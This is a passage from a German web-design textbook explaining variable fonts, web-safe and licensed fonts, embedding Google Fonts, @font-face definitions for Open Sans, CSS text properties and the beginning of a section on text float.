                    Nicht alles, was sich automatisieren lässt, ist auch von Erfolg gekrönt. Viele Schriften benötigen beispielsweise feine Korrekturen, wenn gewisse Zeichen aneinandergefügt werden – ein Schriftdesigner würde aufgrund seiner Erfahrung und seines guten Auges diese Korrekturen berücksichtigen. Inwieweit diese Erfahrung in ein programmiertes Regelwerk gefasst werden kann, lässt sich nur von Fall zu Fall beurteilen. Je komplexer die Schrift ist, umso schwieriger wird es werden, alle Spezialfälle zu integrieren.

                

                	
                    Eine variable Schrift mit 20 oder 30 Schnitten zu laden, ist eher nachteilig, da im Rahmen von CSS ja nur diejenigen Schriftdateien geladen werden, die auch tatsächlich zum Einsatz kommen – und in der Regel werden auf Websites nur wenige Schnitte benötigt.

                

                	
                    Welche Variationen der Schrift möglich sind, entscheidet auch im Fall der variablen Schriften immer noch der Schriftdesigner. Beispielsweise wurde im Fall der sehr gängigen Open Sans entschieden, die Achsen wdth (width; Breite) und wght (weight; Schriftgewicht/Schriftstärke) zu variieren, nicht jedoch die Schrägstellung (kursiv), wodurch sich für die Open Sans zwei variable Schriftdateien ergeben: eine für die Normal- und eine für die Kursiv-Darstellung (jeweils mit variabler Breite und Schriftstärke), aber eben nicht eine einzelne Datei.

                

                	
                    Im Desktop-Publishing (DTP) werden variable Schriften die statische Schriften zweifelsohne ergänzen – ersetzen werden sie diese in absehbarer Zeit noch nicht. Im digitalen Bereich, wo der Fokus nicht so sehr auf die Typografie gelegt wird, werden sich die variablen Schriften eher behaupten können.

                

            

        
        
            6.10.5    Schriftnutzung auf Websites – Webfonts, Google Fonts und Lizenzschriften

            Beim Webdesign stehen Ihnen für die Nutzung von Schriften drei Varianten zur Verfügung:

            
                	
                    Es wird eine Schrift aus den websicheren Schriften verwendet (siehe den einleitenden Teil aus Abschnitt 6.10, »Das geschriebene Wort – Schriften«).

                

                	
                    Es wird eine Lizenz für eine Schrift erworben, diese Schrift in ein geeignetes Schriftformat gebracht und auf dem verwendeten Server für den User bereitgestellt.

                

                	
                    Es kommt eine lizenzfreie Schrift zum Einsatz, wie beispielsweise durch die Nutzung von Schriften von Google Fonts (https://fonts.google.com).

                

            

            Jede der genannten Möglichkeiten hat – wie Sie in den vorangegangen Abschnitten feststellen konnten – ihre Vor- und Nachteile. Ein paar Tipps erweisen sich dennoch als zielführend, je nachdem, welches Ziel Sie verfolgen:

            
                	
                    Die Website soll schnell geladen und dargestellt werden können: An dieser Stelle empfiehlt sich der Einsatz websicherer Schriften, da diese nicht erst von einem Server geladen werden müssen. Nachteilig ist die geringe Auswahl an Schriften.

                

                	
                    Die Website soll ein gutes (Schrift-)Design aufweisen: Ist dies ein Ziel der Website (und das ist es nicht selten!), so kommen Sie um den Einsatz externer Schriften nicht herum, und das kann nun einerseits den Einsatz lizenzfreier oder lizenzpflichtiger Schriften nach sich ziehen. Üblicherweise wird man bei lizenzfreien Schriften fündig.

                

                	
                    Die Website soll bestmöglich das Corporate Design des Unternehmens widerspiegeln: Da Corporate Fonts in der Regel lizenzpflichtige Schriften sind, ist die logische Folge der Einsatz gekaufter Schriften, die dem User bereitgestellt werden (müssen).

                

            

            Abbildung 6.29 zeigt einen Vergleich der gängigen Webschriften bei einer Schriftgröße von einheitlich 32 px. Gut zu erkennen sind die von Schrift zu Schrift unterschiedlichen Grundlinien und Versalhöhen. Beachten Sie auch die erste Darstellung, die auf die Standardschrift zurückgreift, da für dieses Element keine Schriftfamilie definiert wurde.

            Ob nun tatsächlich eine Webschrift zum Einsatz kommt oder doch auf lizenzfreie bzw. gegebenenfalls auch lizenzpflichtige Schriften zurückgegriffen wird, ist letztlich die Entscheidung Ihres Auftraggebers.

            
                [»]  Das Laden von Schriften

                Zumeist geht man davon aus, dass Schriften, die nicht aus der Palette der websicheren Schriften stammen, vom User geladen werden müssen. Was jedoch wäre, wenn der User diese Schrift zufälligerweise selbst bereits installiert hat? Muss diese Schrift(-datei) dann dennoch geladen werden? Die klare Antwort lautet: »Nein.«

                Sie werden weiter unten noch lernen, wie einerseits Schriften eingebunden werden, wie andererseits aber auch auf lokal installierte Schriften Rücksicht genommen werden kann.

            

            So, nun gilt es, unser Wissen über Schriften endlich auch in CSS umzusetzen. Dazu müssen wir die Schriftfamilie, die Schriftgröße, die Schriftstärke, die Farbe, den Stil und in weiterer Folge auch die Zeilenhöhe samt einiger weiterer Details festlegen. Im Zuge dieser Tätigkeiten werden wir lernen, wie dankbar wir für die Vererbung von Eigenschaften sein dürfen, denn wir sollten nicht vergessen, dass sämtliche CSS-Eigenschaften ja immer einer Auswahl (Selektion) von Elementen zugewiesen werden. Müssten wir unsere Wunschschrift einem jeden HTML-Element separat zuweisen, so würden wir nie fertig werden.

            
                [image: Die (mehr oder weniger) sicheren Webschriften im Vergleich]

                Abbildung 6.29    
            Die (mehr oder weniger) sicheren Webschriften im Vergleich

            
            Wie erwähnt, setzen wir an dieser Stelle darauf, dass wir die Eigenschaften unserer Wunschschrift zunächst einmal dem body zuweisen, der diese wiederum an seine verschachtelten Elemente weitergibt bzw. vererbt (und dies sind nun mal sämtliche Elemente, auf die wir auf einer Webseite treffen). Wie Sie sehen werden, klappt dies für sämtliche HTML-Elemente recht gut – bis auf einige wenige (wie textarea, button, input, keygen, select).

            
                [»]  Werden Schrifteigenschaften immer vererbt?

                Auch die Behauptung, dass Schrifteigenschaften vererbt werden, ist nicht in Stein gemeißelt, denn schlussendlich ist für die Vererbung das jeweilige Stylesheet verantwortlich. Wenn Sie sich in Erinnerung rufen, dass das grundlegendste Stylesheet das Browser-Stylesheet ist und dass dieses von Browser zu Browser unterschiedlich sein kann, so ist auch an dieser Stelle viel Raum für unterschiedliche Darstellungen von HTML-Elementen – was wir ja bekannterweise nicht wollen.

            

            Lassen Sie uns einmal einen ersten Blick auf die fundamentalen Schrifteigenschaften werfen:

            
                	
                    Die Schriftfamilie gibt in einer Art »Wunschreihenfolge« diejenigen Schriften an, die für die selektierten Elemente verwendet werden sollen. Die erstgenannte Schriftfamilie ist unsere erste Wahl; sollte diese nicht verfügbar sein (da sie beispielsweise nicht auf dem System des Users installiert ist oder nicht bereitgestellt werden konnte), so greift der Browser auf die als nächste genannte Schrift zurück usw. Sollte keine der genannten Schriften auffindbar sein, so können zu guter Letzt die Schlüsselwörter sans-serif, serif oder monospace verwendet werden. Schriftnamen mit Leerzeichen im Namen müssen in Anführungszeichen stehen, alle anderen können ohne Anführungszeichen verwendet werden. Beispiele wären etwa:

                    
                        	
                            font-family:Verdana, Arial, sans-serif;: Hier ist die Verdana unsere erste Wahl, die Arial die zweite Wahl und die auf dem System des Users als Standard genannte Nicht-Serifenschrift der letzte Ausweg.

                        

                        	
                            font-family:"Times New Roman", Georgia, serif;: Zunächst soll auf die Times New Roman zugegriffen werden; sollte diese nicht auffindbar sein, so wird die Georgia verwendet. Der letzte Ausweg ist wiederum die auf dem System des Users als Standard genannte Serifenschrift.

                        

                        	
                            font-family: "Courier New", "Lucida Console", monospace;

                        

                    

                

                	
                    Die Schriftgröße sollte immer auf Basis der vom User gewählten Schriftgröße definiert werden. Aus diesem Grund setzen wir im Frontend-Design bevorzugt auf die Einheit em (oder rem) und berechnen darauf aufbauend all die benötigten Größen. Und auch im Fall der Schriftgröße selbst werden wir (natürlich) von diesem Weg nicht abweichen. Beachten Sie jedoch bitte an dieser Stelle die unterschiedlichen Darstellungsgrößen verschiedener Schriften (vgl. Abbildung 6.26):

                    
                        	
                            font-size: 1em;: Im Rahmen der Website wird die Schriftgröße auf genau die Größe eingestellt, die der User bevorzugt (mit anderen Worten: die er in seinem Betriebssystem gewählt hat).

                            
                                [»]  Schriftgrößen

                                Schriftgrößen sollten immer relativ (zum umgebenden Container oder zur voreingestellten Schrift) gewählt werden. Neben em und rem können Sie natürlich auch weitere relative Einheiten (%, eh, vw, vh etc.) verwenden.

                            

                        

                    

                

                	
                    Die Schriftstärke bzw. das Schriftgewicht einer Schrift kann mithilfe von Schlüsselwörtern (normal, bold) oder mithilfe der zugewiesenen Zahlenwerte (normal: 400, bold: 700; oder auch medium: 500, light: 300 usw.) gesetzt werden:

                    
                        	
                            font-weight:normal; oder font-weight:400;: Normaldarstellung der gewählten Schrift

                        

                        	
                            font-weight:bold; oder font-weight:700;: Fette Darstellung der gewählten Schrift (sofern verfügbar)

                        

                        	
                            font-weight:500;: Medium-Darstellung der gewählten Schrift (sofern verfügbar)

                        

                    

                    Eine sehr wesentliche Angabe ist naturgemäß die Schriftfarbe, die über die Eigenschaft color gesetzt wird:

                    
                        	
                            color: #333;: Für die selektierten Elemente wird die Schriftfarbe auf ein dunkles Grau gesetzt.

                            
                                [+]  Ein Tipp zur Schriftfarbe

                                Wählen Sie als Schriftfarbe weder ein Schwarz (auf hellem Hintergrund) noch ein Weiß (auf dunklem Hintergrund). Diese Farben sind zumeist zu intensiv in der Darstellung, weshalb man eher zu einem dunklen oder hellen Grau greift.

                            

                        

                    

                

                	
                    Weiters kann der Schriftstil angegeben werden, mit dessen Hilfe zwischen einer Normal- und einer Kursivdarstellung gewechselt werden kann:

                    
                        	
                            font-style:normal;: Normaldarstellung einer Schrift

                        

                        	
                            font-style:italic;: Kursive Darstellung einer Schrift (sofern verfügbar)

                        

                        	
                            font-style:oblique;: Sollte die Kursivdarstellung einer Schrift nicht zur Verfügung stehen, so muss diese Darstellung vom Browser per Code generiert werden. Die oblique-Darstellung wird überall dort eingesetzt, wo eine Schrift über keine eigene Kursivdarstellung verfügt. Sollte oblique gewählt werden, obwohl die Schrift über eine kursive Variante verfügt, so wird dieser Kursivschnitt der Schrift verwendet.

                        

                    

                

                	
                    Auch die Zeilenhöhe (und somit der Zeilenabstand) sollten Sie in Hinblick auf eine gute Lesbarkeit mit Bedacht wählen: Der aus der Typografie bekannte optimale Zeilenabstand liegt bei 1,5 (dem eineinhalbfachen Zeilenabstand), was üblicherweise mit einem Faktor angegeben wird: line-height: 1.5; Alternativ kann die Zeilenhöhe auch über einen Einheitenwert wie line-height:1.5em; angegeben werden.

                

            

            
                [ ! ]  Verfügbarkeit von Schriftstärken und Stilen

                Eine Schrift muss nicht notwendigerweise in allen (Schrift-)Schnitten verfügbar sein. Wie Sie in Abschnitt 6.10 »Das geschriebene Wort – Schriften« erfahren haben, bestimmt der Schriftdesigner, welche Schnitte er entwickeln möchte – dies trifft insbesondere auf unterschiedliche Schriftstärken, aber etwa auch auf die Kursivdarstellung zu.

            

            Eine Grundeinstellung für den Body könnte – nach unserem bisherigen Wissensstand – wie folgt aussehen:

            body {
  font-family: "Open Sans", Verdana, Arial, sans-serif;
  font-size: 1em;
  color: #333;
  line-height: 1.5;
  /*  muss in der Regel nicht gesetzt werden, da dies bereits vom Browser-
      Stylesheet vererbt wird:
  font-style: normal;
  font-weight: normal;
  */
}


            Sollten diejenigen Elemente, die über kein automatisches Erben verfügen, ebenfalls die Schriftfamilie übernehmen, so hilft uns der Eigenschaftswert inherit, wodurch das Erben erzwungen werden kann:

            textarea, input, select, button {
  font-family:inherit;
}


            Ein Detail am Rande: Ein Element, das üblicherweise ebenfalls in einer Monospace-Schrift dargestellt werden soll, wäre von dieser Regel nicht betroffen: das Tag <keygen>.

            Weitere Schriftangaben wären etwa:

            
                	
                    text-decoration:none | underline | overline | line-through: Diese Eigenschaft kann Texte unter- oder durchstreichen oder auch mit einer Überlinie versehen.

                

                	
                    text-transform:none | uppercase | lowercase | capitalize: Hiermit werden Texte in Groß- oder Kleinbuchstabenform oder auch mit Kapitälchen dargestellt.

                    
                        [»]  Großbuchstaben vs. Großschreibweise

                        Soll Text in Großbuchstaben dargestellt werden, so denkt man dabei zumeist an die optische Darstellung auf einer Website. Rufen Sie sich aber in Erinnerung, dass zwei »Systeme« Ihre Websites betrachten: Menschen und Softwaresysteme (Suchmaschinen etc.).

                        Für eine Suchmaschine ergibt ein Text in Großbuchstaben selten einen Sinn oder ist sogar negativ: Wird etwa großgeschriebener Text in den ersten Zeilen verwendet, die eine Suchmaschine entdeckt, so werden die Suchergebnisse ebenfalls in Großbuchstaben dargestellt, was zwangsläufig schlecht zu lesen ist. Bevorzugen Sie deshalb lieber die Großbuchstabendarstellung mittels CSS, als den Text tatsächlich in Großbuchstaben schreiben.

                    

                

                	
                    text-align:left | right | center | justify: Diese Eigenschaft gibt die Textausrichtung an, wobei lediglich justify einer Erwähnung bedarf, da die restlichen Werte so weit klar sein sollten. Mit justify definieren Sie Blocksatz. Das heißt, sämtliche Zeilen eines Absatzes – bis auf die letzte Zeile – sind gleich breit, nutzen also den gesamten horizontal zur Verfügung stehenden Platz.

                

                	
                    text-shadow: 0.2em 0.2em 0.5em grey;: Die Angabe zum Textschatten enthält die Abstände nach rechts, nach unten sowie den Bereich des Schattens und die Farbe. Das obige Beispiel wirft einen Textschatten mit einem Horizontal- und Vertikalabstand von 0.2 em und danach einen weichgezeichneten Teil von 0.5 em, der in einem mittleren Grau dargestellt wird.

                

            

            Die genannten Eigenschaften stellen nur einen Teil der Möglichkeiten in Bezug auf Schriften dar. Eine vollständige Auflistung finden Sie unter https://developer.mozilla.org/en-US/docs/Web/CSS/font. Zu einem etwas späteren Zeitpunkt kommen wir auf das Thema der Schrifteigenschaften noch einmal zurück, nämlich dann, wenn es um die Definition eigener Schriftfamilien geht. Und auch im Kapitel zu Responsive Design im Abschnitt 8.5.3 »Flexible Medien als Kür« wird sich Ihr Wissen über Schriften noch einmal stark erweitern.

            
                Spezialthema: Schriften mit Farbverläufen

                In der letzten Zeit war ein Effekt auf Websites vermehrt zu sehen: Schriften, die keine einheitliche Schriftfarbe besitzen, sondern einen Farbverlauf. An dieser Stelle muss zunächst einmal gesagt werden, dass dieser Farbverlauf nicht mit der color-Eigenschaft einer Schrift realisiert werden kann – vielmehr handelt es sich hierbei um einen Trick, der sich der Eigenschaft background-clip bedient. Ein einfaches Beispiel zeigt die Herangehensweise:

                
                    	
                        Die Schriftfarbe wird transparent gesetzt: color:transparent

                    

                    	
                        Dem betroffenen Element wird ein Farbverlauf zugewiesen: background:…

                    

                    	
                        Dem betroffenen Element wird vermittelt, worauf der Farbverlauf angewandt werden soll: background-clip:text

                    

                

                
                    [image: Texte mit Farbverläufen sind eigentlich ein Fake: Nicht die Schriftfarbe wird definiert, sondern eine Hintergrundfarbe, die auf den Text angewandt wird.]

                    Abbildung 6.30    
            Texte mit Farbverläufen sind eigentlich ein Fake: Nicht die Schriftfarbe wird definiert, sondern eine Hintergrundfarbe, die auf den Text angewandt wird.

                
                Voilà! Schon hat unser Text einen Farbverlauf.

            
        
        
            6.10.6    Die Einbettung von Google Fonts – ein ehrlich gemeinter Dank an Google

            Google Fonts sind im Webbereich die Quelle lizenzfreier Schriften. Im Schnitt stehen etwa 1400 unterschiedliche Schriften zur Verfügung, die lizenzfrei eingesetzt werden können, was durch die dahinterliegende Lizenz (zumeist die SIL Open Font Licence – vgl. https://de.wikipedia.org/wiki/SIL_Open_Font_License, oder Apache – vgl. https://de.wikipedia.org/wiki/Apache-Lizenz) garantiert wird.

            Google Fonts können entweder über die Server von Google geladen oder über einen Download lokal auf dem Webserver gehostet werden.

            
                [Info]  Ein Wort zur Rechtslage

                Die erstgenannte Variante hat im Jahr 2022 zu einem Geschäftsmodell für dubiose Anwälte geführt, die in der Einbettung von Google Fonts über die Google-Server einen Datenschutzverstoß aufgrund der Übermittlung von User-Daten (und hierzu reicht die Übermittlung der IP-Adresse aus) nach Amerika sehen. Das Landgericht München hat zum Leidwesen der gesamten Webentwicklerwelt einer Klägerin in einem viel beachteten Prozess recht gegeben, die durch die Datenübertragung ein »psychisches Leid« empfunden haben soll.

                Diese findigen (dubiosen) Anwälte haben dies zum Anlass genommen, Massenabmahnungen an Betreiber von Websites zu schicken, auf deren Websites Google Fonts über die Google-Server eingebunden werden. Mitte 2023 wurde dann von mehreren Gerichten festgestellt, dass die Einbettung von Google Fonts über die Google-Server bedenkenlos ist, was den Mahnschreibern die Grundlage für ihre Massenabmahnungen entzogen hat. Es ist davon auszugehen, dass diesen Massenabmahnungen – zumindest in Hinblick auf Google Fonts – nun endgültig ein Riegel vorgeschoben wurde.

            

            Zum Einbetten externer Schriften gehen Sie wie folgt vor:

            
                	
                    Rufen Sie die Website https://fonts.google.com auf.

                

                	
                    Üblicherweise stellt man zunächst die Schriftgröße auf diejenige Größe ein, die auf der Website zum Einsatz kommen soll (beispielsweise 16 px für den Fließtext oder 32 px für die erste Überschriftenebene) und filtert danach nach der gewünschten Variante (sans-serif, serif, monospace etc.), um die Menge an Schriften etwas einzuschränken (siehe Abbildung 6.31).

                

                	
                    Haben Sie sich für eine Schrift entschieden und diese durch Anklicken gewählt, werden Sie auf die Detailseite weitergeleitet, auf der nun die einzelnen Schriftschnitte dargestellt werden. Aus diesen Schriftschnitten wählen Sie nun wiederum (durch Anklicken des Plus-Symbols) diejenigen Schnitte aus, die Sie einsetzen möchten.

                    
                        [image: Nachdem Sie die Schriftgröße angepasst und die Schriftvariante gewählt haben, können Sie die dargestellten Schriften gleich besser miteinander vergleichen.]

                        Abbildung 6.31    
            Nachdem Sie die Schriftgröße angepasst und die Schriftvariante gewählt haben, können Sie die dargestellten Schriften gleich besser miteinander vergleichen.

                    
                    
                        [image: Im Detailfenster zur Schrift finden Sie den Code, um die Schrift einzubetten.]

                        Abbildung 6.32    
            Im Detailfenster zur Schrift finden Sie den Code, um die Schrift einzubetten.

                    
                    An dieser Stelle stellt sich die Frage, ob die Schrift(en) heruntergeladen werden oder über die Google-Server eingebettet werden soll(en).

                

            

            
                Die dynamische Einbettung von Schriften

                Gehen wir zunächst von einer dynamischen Einbettung über die Google-Server aus. In diesem Fall müssen Sie den Code, den Sie rechts in Abbildung 6.32 sehen, einbetten (typischerweise in den head des HTML-Dokuments). Dies kann auf zwei Arten und Weisen erfolgen. Die HTML-Variante sieht wie folgt aus:

                <head>
  ...
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Open+Sans:ital, wght@0,400;0,700;1,400;1,700&display=swap" rel="stylesheet">
  ...
</head>


                
                    [Info]  »rel="preconnect"« und »crossorigin« im Google-Code

                    Die Angabe rel="preconnect" im <link> gibt einem Browser eine Art Tipp, dass die benötigte Datei für den User wichtig ist und der Browser gut daran täte, diese Datei rasch zu laden – dazu zwingen kann man einen Browser dennoch nicht.

                    Das Attribut crossorigin gibt an, wie das Laden von Dateien externer Quellen gehandhabt werden soll. Details hierzu haben Sie im Abschnitt 5.11.4, »Ein paar Angaben zur Content Security Policy und zum Referer« kennengelernt.

                

                Die CSS-Variante erfolgt über eine @import-Direktive im CSS-Code selbst:

                <style>


                @import url('<url ziel="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,400;0,700;1,400;1,700&display=swap">https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,400;0,700;1,400;1,700&display=swap</url>'); 


                </style>


                Welche der beiden Varianten Sie bevorzugen, obliegt Ihrem eigenen Geschmack. Möchten Sie beispielsweise die CSS-Themen beisammenhalten, so empfiehlt sich die zweite Variante, bei der der Import wiederum als Teil einer CSS-Datei erfolgt. Bedenken Sie hierbei jedoch, dass der import-Befehl als erste Zeile der Datei geschrieben werden muss.

                Schlussendlich kann die eingebettete Schrift für eine Schriftdefinition verwendet werden. Hier gibt Google den Namen der Schriftfamilie vor: font-family: "Open Sans", sans-serif;

            
            
                Der Download von Schriften

                Entscheiden wir uns für den zweiten Weg, nämlich für den Download der ausgewählten Schriftschnitte, nutzen wir den Download All-Button. Hierbei werden sämtliche Schriftdateien als TrueType-Fonts heruntergeladen, was für den Einsatz im Webbereich wenig hilfreich ist.

                Derartige Schriftformate müssen in ein geeignetes Format konvertiert werden, wobei dies – quer über alle Browser – das WOFF-Format ist. Die Abkürzung WOFF steht für Web Open Font Format und ist ein komprimierendes Containerformat, das sich mittlerweile im gesamten Webbereich durchgesetzt hat. Durch die Komprimierung ergibt sich eine wesentlich geringere Dateigröße, was im Fall des Downloads der Datei durch den User sehr vorteilhaft ist.

                Die Idee des Containers ermöglicht es, Dateiformate wie TTF (TrueType-Font) oder OTF (Open Type Format) zu verpacken, die durch den Browser entpackt und alsdann im Rahmen des Betriebssystems als gültige Schriften eingesetzt werden können. Weiters ermöglicht ein Container die Speicherung von Metadaten wie etwa Lizenzinformationen.

                Mittlerweile liegt das WOFF-Format in der zweiten Version vor (WOFF 2.0), die auf einer verbesserten Komprimierungsidee (funktionell verlustfrei anstatt bitweise verlustfrei) beruht und dadurch eine Verringerung der Dateigröße um 20 bis 50 % ergibt; an der Funktionalität hat sich gegenüber WOFF 1.0 nichts geändert.

                Sei es, wie es sei: Die geladenen Schriftdateien (TTF, OTF) müssen im nächsten Schritt in das WOFF-Format konvertiert werden. Derartige Systeme existieren sowohl offline als Software (beispielsweise TransType von FontLAB; ca. EUR 100) als auch online, wie etwa Cloudconvert (https://cloudconvert.com/ttf-to-woff ) oder Font Squirrel (https://www.fontsquirrel.com/tools/webfont-generator). In beiden Fällen müssen die Schriftdateien hochgeladen werden, wofür Sie – natürlich – über die entsprechenden Lizenzen verfügen müssen.

                Als Ergebnis erhalten Sie die konvertierten Schriften und gegebenenfalls auch eine zugehörige CSS-Datei, in die die Schriften artgerecht eingebettet sind.

                Verfügen Sie über keine solche CSS-Datei bzw. keine Vorgabe, so gilt es nun, selbst eine solche Datei zu schreiben. Hierzu wird der Schriftname sowie der Pfad zu den Schriftdateien angegeben, die für die jeweiligen Schriftschnitte benötigt werden. Je nachdem, ob es sich um eine statische oder um eine variable Schrift handelt, haben Sie mehr oder weniger Arbeit mit dem Schreiben des Codes.

                Nehmen wir etwa das Beispiel der Open Sans, die in insgesamt 18 Schnitten vorliegt, so haben wir so einiges vor uns. Die benötigte Direktive zum Definieren einer Schrift lautet @font-face. In ihr werden der Name der Schriftdatei (font-family), die benötigte(n) Schriftdatei(en), die Schriftstärke bzw. das Schriftgewicht sowie der Schriftstil definiert:

                @font-face {
  font-family: "Name der Schrift";
  src: url(Pfad/zur/Schriftdatei.woff2), url(Pfad/zur/Schriftdatei.woff);
  font-weight: normal; /* Schriftgewicht */
  font-style: normal; /* Schriftstil */
}


                Diese Form der Definition muss nun für sämtliche Schnitte unter Angabe der Schriftdatei(en), der Schriftstärke sowie des Schriftstils erfolgen:

                /* Normale Schriftstärke, Normal- und Kursivdarstellung: */
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-Regular.woff2);
  font-weight: normal;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-Italic.woff2);
  font-weight: normal;
  font-style: italic;
}
 
/* Fett in Normal- und Kursivdarstellung: */
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-Bold.woff2);
  font-weight: bold;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-BoldItalic.woff2);
  font-weight: bold;
  font-style: italic;
}
 
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-Light.woff2);
  font-weight: 300;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-LightItalic.woff2);
  font-weight: 300;
  font-style: italic;
}
 
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-Medium.woff2);
  font-weight: 500;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-MediumItalic.woff2);
  font-weight: 500;
  font-style: italic;
}
 
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-SemiBold.woff2);
  font-weight: 600;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-SemiBoldItalic.woff2);
  font-weight: 600;
  font-style: italic;
}
 
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-ExtraBold.woff2);
  font-weight: 800;
  font-style: normal;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans-ExtraBoldItalic.woff2);
  font-weight: 800;
  font-style: italic;
}


                Neben dieser Schriftvariante bietet die Open Sans jedoch auch noch eine Condensed- und eine Semi-Condensed-Variante an, die ebenfalls noch eingebettet werden müssen, wodurch auch noch die Eigenschaft font-stretch zum Einsatz kommt:

                @font-face {
  font-family: "Open Sans";
  src: url(OpenSans_SemiCondensed-Regular.woff2);
  font-weight: normal;
  font-style: normal;
  font-stretch:semi-condensed;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans_SemiCondensed-Italic.woff2);
  font-weight: normal;
  font-style: italic;
  font-stretch:semi-condensed;
}
...
 
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans_Condensed-Regular.woff2);
  font-weight: normal;
  font-style: normal;
  font-stretch: condensed;
}
@font-face {
  font-family: "Open Sans";
  src: url(OpenSans_Condensed-Italic.woff2);
  font-weight: normal;
  font-style: italic;
  font-stretch:condensed;
}
...


                Im Fall statischer Schriften muss hierfür eine Menge Code geschrieben werden. Setzt man jedoch variable Schriften ein, wird der Aufwand entsprechend geringer (wobei im folgenden Codefragment auch dargestellt wird, wie mehrere Schriftdateien ihrer Wichtigkeit entsprechend eingebettet werden):

                @font-face {
  font-family: "Open Sans";
  src:
    url("Pfad/zu/opensans-variablefont_wdthwght-webfont.woff2") format("woff2"),
    url("Pfad/zu/opensans-variablefont_wdthwght-webfont.woff") format("woff");
  font-weight: normal;
  font-style: normal;
}
 
@font-face {
  font-family: "Open Sans";
  src:
    url("Pfad/zu/opensans-italic-variablefont_wdthwght-webfont.woff2") format("woff2"),
    url("Pfad/zu/opensans-italic-variablefont_wdthwght-webfont.woff") format("woff");
  font-weight: normal;
  font-style: italic;
}


                Auf die Angabe von font-stretch wird bei der Definition der Schrift verzichtet, da diese Eigenschaft erst dann zum Einsatz gelangt, wenn die Schrift tatsächlich angewendet wird. Will man etwa die Open Sans in semi-condensed, semi-bold und kursiv für die Überschrift 1 einsetzen, so erhält man folgenden Code:

                h1 {
  font-family: "Open Sans", Verdana, Arial, sans-serif;
  font-weight: 600;
  font-style: italic;
  font-stretch: semi-condensed;
}


                Das Ergebnis für sowohl die statische als auch die variable Variante sehen Sie in Abbildung 6.33.

                Wie zu erwarten war, ist die Schriftdarstellung über die Einbettung der variablen Schrift identisch. Das muss jedoch nicht notwendigerweise der Fall sein, wie Sie aus dem Abschnitt 6.10.4 über die variablen Schriften wissen.

                
                    [image: Schriftwahl über die Einbettung statischer und variabler Schriften]

                    Abbildung 6.33    
            Schriftwahl über die Einbettung statischer und variabler Schriften

                
            
        
    


                    
                        
        6.11    Textumfluss (float) – umflossene Elemente wie in Druckmedien

        Wer kennt sie nicht aus Zeitschriften und Zeitungen: von Text umflossene Bilder. Auch auf Websites können wir mit Derartigem dienen, wo Bilder (oder beliebige andere Elemente) von Text links oder rechts umflossen werden. Doch gerade das Floaten wurde lange Zeit missbräuchlich verwendet, ermöglichte es doch das Nebeneinanderstellen von Elementen zu einer Zeit, zu der es noch keine besseren Platzierungsmöglichkeiten auf Webseiten gab.

        Aus diesem Grunde hier die eindringliche Warnung (oder Bitte?): Verwenden Sie Techniken wie das Floaten nur dort, wo sie auch zum Zweck des Umfließens von Elementen gedacht sind, und nirgendwo sonst! In CSS verhält es sich zwar nicht ganz so wie bei HTML, wo wir sehr streng auf die Semantik von Elementen achten, aber auch im Umkreis der Formatierung sollten Sie die Zweckmäßigkeit von Techniken immer hinterfragen.

        So, genug gewarnt. Kommen wir zum eigentlichen Thema zurück. Das Ziel dieses Abschnitts sehen Sie in Abbildung 6.34.

        
            [image: Ein von Text umflossenes Bild macht sich auch auf Websites gut.]

            Abbildung 6.34    
            Ein von Text umflossenes Bild macht sich auch auf Websites gut.

        
        Dazu sind folgende Schritte notwendig:

        
            	
                Das Element (Bild etc.), um das der Text fließen soll, muss im HTML-Code vor demjenigen Element (oder innerhalb eines Elements) stehen, dessen Inhalt das erste Element umfließen soll:

                ...
<img src="..." alt="..." id="pic">
<p>Er hörte leise Schritte hinter sich. Das bedeutete nichts Gutes. Wer würde ihm schon folgen, spät in der Nacht und dazu noch in dieser engen Gasse mitten im übel beleumundeten Hafenviertel? Gerade jetzt, wo er das Ding seines Lebens gedreht hatte und mit der Beute verschwinden wollte! Hatte einer seiner zahllosen Kollegen dieselbe Idee gehabt, ihn beobachtet und abgewartet, um ihn nun um die Früchte seiner Arbeit zu erleichtern?</p>
...


            

            	
                Dem Element, um das der Text fließen soll, muss die CSS-Eigenschaft float zugewiesen werden. Diese Eigenschaft bewirkt zusätzlich, dass das umflossene Element automatisch zu einem Block-Element wird:

                #pic {
  float:left;
}


                Zur Erklärung: float:left; bedeutet, dass der Inhalt des im HTML-Code folgenden Elements (oder der folgenden Elemente) das Bild umfließt, und zwar derart, dass der Inhalt sich mit seiner linken Seite an das Element anschmiegt bzw. das zu umfließende Element sich von der linken Seite in den Bereich des folgenden Elements drängt.

            

            	
                Durch den Fluss wird das Element, um das der Text fließen soll, zunächst aus der Darstellung im Browserfenster entfernt. Nachdem das folgende Element dargestellt wurde, drängt sich das zu umfließende Element von der angegebenen Seite (hier: von links) wieder in den Inhaltsbereich des folgenden Elements.

            

        

        
            [ ! ]  Die Höhe des Inhalts

            Beachten Sie, dass umflossene Elemente nicht zur Inhaltshöhe beitragen (sie besitzen für das Umfeld keine Höhe). Das wird deutlich, wenn Sie dem Textbereich, der das Element umfließen soll, eine Hintergrundfarbe zuweisen.

        

        Alternativ zu dieser Variante kann das zu umfließende Element auch von dem Textelement (z. B. den Absätzen) umschlossen werden, wie folgender Code zeigt. Die Funktionsweise ist grundsätzlich die gleiche (das Element wird zunächst nicht angezeigt und drängt sich danach von der angegebenen Seite in den Inhaltsbereich hinein). Abbildung 6.35 zeigt jedoch, dass das umflossene Element nicht Teil des Inhalts ist, auch wenn es vom Textelement im HTML-Code umschlossen wird.

        ...
<p>
